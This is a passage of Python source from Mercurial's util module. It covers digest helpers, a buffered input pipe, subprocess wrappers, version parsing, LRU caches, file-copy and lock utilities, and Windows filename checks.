     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += ("\n(compatibility will be dropped after Mercurial-%s,"
                 " update your code.)") % version
         warnings.warn(msg, DeprecationWarning, stacklevel + 1)
 
 DIGESTS = {
     'md5': hashlib.md5,
     'sha1': hashlib.sha1,
     'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester(['md5', 'sha1'])
     >>> d.update('foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d['md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d['sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred(['md5', 'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise Abort(_('unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise Abort(_('unknown digest type: %s') % k)
         return self._hashes[key].hexdigest()
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise Abort(_('size mismatch: expected %d, got %d') %
                 (self._size, self._got))
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise Abort(_('%s mismatch: expected %s, got %s') %
                     (k, v, self._digester[k]))
 
 try:
     buffer = buffer
 except NameError:
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset:offset + length]
         return memoryview(sliceable)[offset:]
 
 closefds = pycompat.osname == 'posix'
 
 _chunksize = 4096
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def readline(self, *args, **kwargs):
         if 1 < len(self._buffer):
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find('\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find('\n')
         size = lfi + 1
         if lfi < 0: # end of file
             size = self._lenbuf
         elif 1 < len(self._buffer):
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return ''
         buf = self._buffer[0]
         if 1 < len(self._buffer):
             buf = ''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data):]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), _chunksize)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
 def popen2(cmd, env=None, newlines=False):
     # Setting bufsize to -1 lets the system decide the buffer size.
     # The default for bufsize is 0, meaning unbuffered. This leads to
     # poor performance on Mac OS X: http://bugs.python.org/issue4194
     p = subprocess.Popen(cmd, shell=True, bufsize=-1,
                          close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          universal_newlines=newlines,
                          env=env)
     return p.stdin, p.stdout
 
 def popen3(cmd, env=None, newlines=False):
     stdin, stdout, stderr, p = popen4(cmd, env, newlines)
     return stdin, stdout, stderr
 
 def popen4(cmd, env=None, newlines=False, bufsize=-1):
     p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
                          close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          stderr=subprocess.PIPE,
                          universal_newlines=newlines,
                          env=env)
     return p.stdin, p.stdout, p.stderr, p
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
         return __version__.version
     except ImportError:
         return 'unknown'
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = '3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = '3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = '3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = '3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
     """
     if not v:
         v = version()
     parts = remod.split('[\+-]', v, 1)
     if len(parts) == 1:
         vparts, extra = parts[0], None
     else:
         vparts, extra = parts
 
     vints = []
     for i in vparts.split('.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 # used by parsedate
 defaultdateformats = (
     '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
     '%Y-%m-%dT%H:%M',    #   without seconds
     '%Y-%m-%dT%H%M%S',   # another awful but legal variant without :
     '%Y-%m-%dT%H%M',     #   without seconds
     '%Y-%m-%d %H:%M:%S', # our common legal variant
     '%Y-%m-%d %H:%M',    #   without seconds
     '%Y-%m-%d %H%M%S',   # without :
     '%Y-%m-%d %H%M',     #   without seconds
     '%Y-%m-%d %I:%M:%S%p',
     '%Y-%m-%d %H:%M',
     '%Y-%m-%d %I:%M%p',
     '%Y-%m-%d',
     '%m-%d',
     '%m/%d',
     '%m/%d/%y',
     '%m/%d/%Y',
     '%a %b %d %H:%M:%S %Y',
     '%a %b %d %I:%M:%S%p %Y',
     '%a, %d %b %Y %H:%M:%S',        #  GNU coreutils "/bin/date --rfc-2822"
     '%b %d %H:%M:%S %Y',
     '%b %d %I:%M:%S%p %Y',
     '%b %d %H:%M:%S',
     '%b %d %I:%M:%S%p',
     '%b %d %H:%M',
     '%b %d %I:%M%p',
     '%b %d %Y',
     '%b %d',
     '%H:%M:%S',
     '%I:%M:%S%p',
     '%H:%M',
     '%I:%M%p',
 )
 
 extendeddateformats = defaultdateformats + (
     "%Y",
     "%Y-%m",
     "%b",
     "%b %Y",
     )
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         cache = []
         def f():
             if len(cache) == 0:
                 cache.append(func())
             return cache[0]
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([('a', 0), ('b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([('a', 2)])
     >>> d2.keys() # should still be in last-set order
     ['b', 'a']
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = src.iteritems()
             for k, v in src:
                 self[k] = v
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
     __slots__ = (u'next', u'prev', u'key', u'value')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
     """
     def __init__(self, max):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self._capacity = max
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def __setitem__(self, k, v):
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             node.value = v
             self._movetohead(node)
             return
 
         if self._size < self._capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
     def __delitem__(self, k):
         node = self._cache.pop(k)
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self._cache[k].value
         except KeyError:
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self):
         result = lrucachedict(self._capacity)
         n = self._head.prev
         # Iterate in oldest-to-newest order, so the copy has the right ordering
         for i in range(len(self._cache)):
             result[n.key] = n.value
             n = n.prev
         return result
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 def pipefilter(s, cmd):
     '''filter string S through command CMD, returning its output'''
     p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE)
     pout, perr = p.communicate(s)
     return pout
 
 def tempfilter(s, cmd):
     '''filter string S through a pair of temporary files with CMD.
     CMD is used as a template to create the real command to be run,
     with the strings INFILE and OUTFILE replaced by the real names of
     the temporary files generated.'''
     inname, outname = None, None
     try:
         infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
         fp = os.fdopen(infd, pycompat.sysstr('wb'))
         fp.write(s)
         fp.close()
         outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
         os.close(outfd)
         cmd = cmd.replace('INFILE', inname)
         cmd = cmd.replace('OUTFILE', outname)
         code = os.system(cmd)
         if pycompat.sysplatform == 'OpenVMS' and code & 1:
             code = 0
         if code:
             raise Abort(_("command '%s' failed: %s") %
                         (cmd, explainexit(code)))
         return readfile(outname)
     finally:
         try:
             if inname:
                 os.unlink(inname)
         except OSError:
             pass
         try:
             if outname:
                 os.unlink(outname)
         except OSError:
             pass
 
 filtertable = {
     'tempfile:': tempfilter,
     'pipe:': pipefilter,
     }
 
 def filter(s, cmd):
     "filter a string through a command that transforms its input to its output"
     for name, fn in filtertable.iteritems():
         if cmd.startswith(name):
             return fn(s, cmd[len(name):].lstrip())
     return pipefilter(s, cmd)
 
 def binary(s):
     """return true if a string is binary data"""
     return bool(s and '\0' in s)
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield ''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield ''.join(buf)
 
 Abort = error.Abort
 
 def always(fn):
     return True
 
 def never(fn):
     return False
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7.
     """
     if sys.version_info >= (2, 7):
         return func
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
     return wrapper
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = '/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split('/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
 
 def mainfrozen():
     """return True if we are a frozen executable.
 
     The code supports py2exe (most common, Windows only) and tools/freeze
     (portable, not much used).
     """
     return (safehasattr(sys, "frozen") or # new py2exe
             safehasattr(sys, "importers") or # old py2exe
             imp.is_frozen(u"__main__")) # tools/freeze
 
 # the location of data files matching the source code
 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
     # executable version (py2exe) doesn't support __file__
     datapath = os.path.dirname(pycompat.sysexecutable)
 else:
     datapath = os.path.dirname(pycompat.fsencode(__file__))
 
 i18n.setdatapath(datapath)
 
 _hgexecutable = None
 
 def hgexecutable():
     """return location of the 'hg' executable.
 
     Defaults to $HG or 'hg' in the search path.
     """
     if _hgexecutable is None:
         hg = encoding.environ.get('HG')
         mainmod = sys.modules[pycompat.sysstr('__main__')]
         if hg:
             _sethgexecutable(hg)
         elif mainfrozen():
             if getattr(sys, 'frozen', None) == 'macosx_app':
                 # Env variable set by py2app
                 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
             else:
                 _sethgexecutable(pycompat.sysexecutable)
         elif (os.path.basename(
             pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
             _sethgexecutable(pycompat.fsencode(mainmod.__file__))
         else:
             exe = findexe('hg') or os.path.basename(sys.argv[0])
             _sethgexecutable(exe)
     return _hgexecutable
 
 def _sethgexecutable(path):
     """set location of the 'hg' executable"""
     global _hgexecutable
     _hgexecutable = path
 
 def _isstdout(f):
     fileno = getattr(f, 'fileno', None)
     return fileno and fileno() == sys.__stdout__.fileno()
 
 def shellenviron(environ=None):
     """return environ with optional override, useful for shelling out"""
     def py2shell(val):
         'convert python object into string that is useful to shell'
         if val is None or val is False:
             return '0'
         if val is True:
             return '1'
         return str(val)
     env = dict(encoding.environ)
     if environ:
         env.update((k, py2shell(v)) for k, v in environ.iteritems())
     env['HG'] = hgexecutable()
     return env
 
 def system(cmd, environ=None, cwd=None, out=None):
     '''enhanced shell command execution.
     run with environment maybe modified, maybe in different dir.
 
     if out is specified, it is assumed to be a file-like object that has a
     write() method. stdout and stderr will be redirected to out.'''
     try:
         stdout.flush()
     except Exception:
         pass
     cmd = quotecommand(cmd)
     env = shellenviron(environ)
     if out is None or _isstdout(out):
         rc = subprocess.call(cmd, shell=True, close_fds=closefds,
                              env=env, cwd=cwd)
     else:
         proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
                                 env=env, cwd=cwd, stdout=subprocess.PIPE,
                                 stderr=subprocess.STDOUT)
         for line in iter(proc.stdout.readline, ''):
             out.write(line)
         proc.wait()
         rc = proc.returncode
     if pycompat.sysplatform == 'OpenVMS' and rc & 1:
         rc = 0
     return rc
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     'btrfs',
     'ext2',
     'ext3',
     'ext4',
     'hfs',
     'jfs',
     'reiserfs',
     'tmpfs',
     'ufs',
     'xfs',
     'zfs',
 }
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise Abort(str(inst))
 
 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     gettopic = lambda: hardlink and _('linking') or _('copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (os.stat(src).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         topic = gettopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             def nprog(t, pos):
                 if pos is not None:
                     return progress(t, pos + num)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
             num += n
     else:
         if hardlink is None:
             hardlink = (os.stat(os.path.dirname(src)).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         topic = gettopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         progress(topic, num)
     progress(topic, None)
 
     return hardlink, num
 
 _winreservednames = b'''con prn aux nul
     com1 com2 com3 com4 com5 com6 com7 com8 com9
     lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
 _winreservedchars = ':*?"<>|'
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename("just/a/normal/path")
     >>> checkwinfilename("foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename("foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename("foo/bar/xml.con")
     >>> checkwinfilename("foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename("foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename("foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename("foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename("../bar")
     >>> checkwinfilename("foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename("foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith('\\'):
         return _("filename ends with '\\', which is invalid on Windows")
     if '\\/' in path:
         return _("directory name ends with '\\', which is invalid on Windows")
     for n in path.replace('\\', '/').split('/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return _("filename contains '%s', which is reserved "
                          "on Windows") % c
             if ord(c) <= 31:
                 return _("filename contains %r, which is invalid "
                          "on Windows") % c
         base = n.split('.')[0]
         if base and base.lower() in _winreservednames:
             return _("filename contains '%s', which is reserved "
                      "on Windows") % base
         t = n[-1]
         if t in '. ' and n not in '..':
             return _("filename ends with '%s', which is not allowed "
                      "on Windows") % t
 
 if pycompat.osname == 'nt':
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
     checkosfilename = platform.checkosfilename
     timer = time.time
 
 if safehasattr(time, "perf_counter"):
     timer = time.perf_counter
 
 def makelock(info, pathname):
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError: # no symlink in os
         pass
 
     ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
     os.write(ld, info)
     os.close(ld)
 
 def readlock(pathname):
     try:
         return os.readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError: # no symlink in os
         pass
     fp = posixfile(pathname)
     r = fp.read()
     fp.close()
     return r
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 # File system features
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 try:
     import re2
     _re2 = None
 except ImportError:
     _re2 = False
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = '(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = '(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 re = _re()
 
 _fspathcache = {}
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace('\\','\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return ''.join(result)
 
 def getfstype(dirpath):
     '''Get the filesystem type name from a directory (best-effort)
 
     Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
     '''
     return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1 = testfile + ".hgtmp1"
     if os.path.lexists(f1):
         return False
     try:
         posixfile(f1, 'w').close()
     except IOError:
         try:
             os.unlink(f1)
         except OSError:
             pass
         return False
 
     f2 = testfile + ".hgtmp2"
     fd = None
